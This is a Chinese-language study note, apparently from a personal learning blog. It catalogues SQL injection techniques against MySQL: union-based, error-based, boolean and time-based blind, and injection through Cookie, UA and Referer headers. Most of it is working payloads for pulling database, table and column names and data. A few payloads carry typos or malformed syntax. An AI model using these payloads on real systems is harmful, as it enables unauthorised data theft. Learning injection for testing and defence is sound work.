SQL注入学习
对sql注入的知识和技巧进行记录
概念
Sql注入攻击是通过将恶意的Sql查询或添加语句插入到对应的输入参数中,再在后台Sql服务器上解析执行执行的攻击。
分类
整数型注入
参数是int类型的,后端调用时一般没加单引号如:select * from xxx where id=1
- 判断数据库列数
-1 order by x #
// 第n个数字报错时,列数为n-1
- 查看数据库名;
-1 union select database(),2,3,...n-1 #
- 查表名
-1 union select group_concat(table_name),2,3,...n-1 from information_schema.tables where table_schema='xxx' #
- 查字段名
-1 union select group_concat(column_name),2,3,...n-1 from information_schema.columns where table_name='xxx' #
- 查数据
-1 union select 字段名,2,3,...n-1 from 库名.表名
字符型注入
参数是字符类型的,后端调用时有加上单引号
如:select * from xxx where id='1'
具体步骤和数字型大致相同,不过要在参数后面加个一个单引号闭合前面的单引号
比如查列数语句:
-1' order by x #
// 第n个数字报错时,列数为n-1
其余步骤的语句都是要闭合单引号
报错注入
SQL报错注入就是利用数据库的某些机制,人为的制造错误条件,使得查询结果能够出现在错误信息中。
1. floor()报错注入
Payload:
1 Union select count(*),concat((查询语句),0x26,floor(rand(0)*2))x from information_schema.columns group by x;
分析payload中的函数:
- count(): 返回匹配指定条件的行数。count(*)则返回表中的记录数
- floor(): 作用是向下取整,即去掉小数部分
- rand(): 随机取(0,1)中的一个数,但是给它一个参数就不是随机了。floor(rand(0)*2)为序列0110110
- concat(): 用于连接两个字符串
- group by x: x相同于as x,设置一个别名
- 0x26: 16进制,转换字符为”&”
爆错原因:count,rand(),group by三个连用会造成主键重复。因为floor(rand(0)*2)的重复性,导致group by语句出错
查数据库名:
1 Union select count(*),concat((select databse()),0x26,floor(rand(0)*2))x from information_schema.columns group by x;
2. Xpath语法报错
extractvalue()报错注入:
extractvalue的作用是负责在xml文档中按照xpath语法查询节点内容
Payload:1' and extractvalue(1,concat(0x7e,(select database()),0x7e),1)--+
updatexml()报错注入:
updatexmlde的作用是负责修改查询到的内容
Payload:1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
这两种报错都有长度限制,最长32位
3. 数据溢出报错
- 利用 ! 溢出报错
mysql中BIGINT类型的最大数为18446744073709551615
即~0(把0按位取反)。超过这个数则溢出
sql中,如果一个查询成功返回,则其返回值为0。!0=1
Payload:1' union select (!(select * from (select user())x) - ~0),2,3--+
- exp()报错注入
利用double 数值类型超出范围进行报错注入
mysql> select exp(709);
+-----------------------+
| exp(709) |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)
mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
Pyaload:1' union select (exp(~(select * FROM(SELECT USER())a))),2,3 --+
3. 利用列名重复报错
mysql列名重复会报错。我们使用name_const来制造列
Payload:1' union select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --
利用这个特性可以用join爆列名
Payload:
mysql> select * from(select * from test a join test b)c;
ERROR 1060 (42S21): Duplicate column name 'id'
mysql> select * from(select * from test a join test b using(id))c;
ERROR 1060 (42S21): Duplicate column name 'name'
布尔盲注
盲注就是不会根据你构造的SQL注入语句返回信息,而是通过其他方式判断
布尔盲注:就是只会返回查询是否成功而返回True和Fales,不会返回查询到的信息。
判断数据库长度:
1 and ((length(databse)))>5 #
如果返回正确,则说明数据库长度大于5
返回错误,则说明数据库长度小于等于5爆数据库名
1 and (ascii(substr(database(),1,1)))>100 #
利用substr函数与ascii函数构造猜测数据库名ascii码的值的语句
假如数据库名第一个字母为s,则1' and (ascii(substr(database(),1,1)))=115 #
返回结果是True。以此可以继续猜测第二个第三个字母爆表名
1 and (ascii(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 #
以此可以爆破此表名和其他表爆列名
1 and (ascii(substr(select column_name from information_schema.columns where table_name="xxx" limit 0,1),1,1))>100 #
爆数据
1 and (ascii(substr(select 列名 from 数据库名.表名),1,1))=100 #
手工布尔注入很耗时间,建议用工具或者写脚本跑
另一种布尔注入情况
主要是查询和一般的不一样。一般的布尔盲注是数据库查询结果为空或者查询语句报错,才回显error
这种的情况是即使数据库查询为空,返回结果还是True,只有当查询语句报错才返回error
这个时候,用and加上布尔盲注语句就不起作用了。因为这是根据查询结果是否为空来判断的
所以这时候改用if语句来构造注入
if(expr1,expr2,expr3),如果expr1的值为true,则执行expr2语句,如果expr1的值为false,则执行expr3语句。
因为mysql会对整个语句进行判断,所以让exp3为子查询语句
Payload:
if(查询语句,1,(select table_name from information_schema.tables)) #
爆数据库名:
if(substr(database(),1,1)='s',1,(select table_name from information_schema.tables)) #
其他步骤就是把查询语句换一下就行
时间盲注
时间盲注指通过页面执行的时间来判断数据内容的注入方式,通常用于数据不会回显到页面中的场景,无法利用页面回显判断数据内容,只能通过执行的时间来获取数据
- 判断注入点:
1 and sleep(10)
若页面响应时间延时10秒,则存在注入
爆数据的时候一般和if连用
爆数据库名:
if(substr(databse(),1,1)='x',sleep(5),1) #
若页面延时则数据库名第一个字母为x爆表名:
if(substr((select table_name from information_schema.tables where table_schema='xxx' limit 0,1),1,1),sleep(5),1) #
爆列名:
if(substr((select column_name from information_schema.columns where table_name='xxx' limit 0,1),1,1),sleep(5),1) #
爆数据:
if(substr((select 列名 from 数据库名.表名),1,1)='x',sleep(5),1) #
Cookie、UA、Referer注入
这三种注入大同小异,都是不通过url传参,而是在url请求包里用Cookie或UA或Referer来传参
注入构造就是在请求包里的Cookie或UA或Referer构造语句
Cookie注入:
在请求包里添加:Cookie:id=-1 union select database(),2 #
其余两种一样做法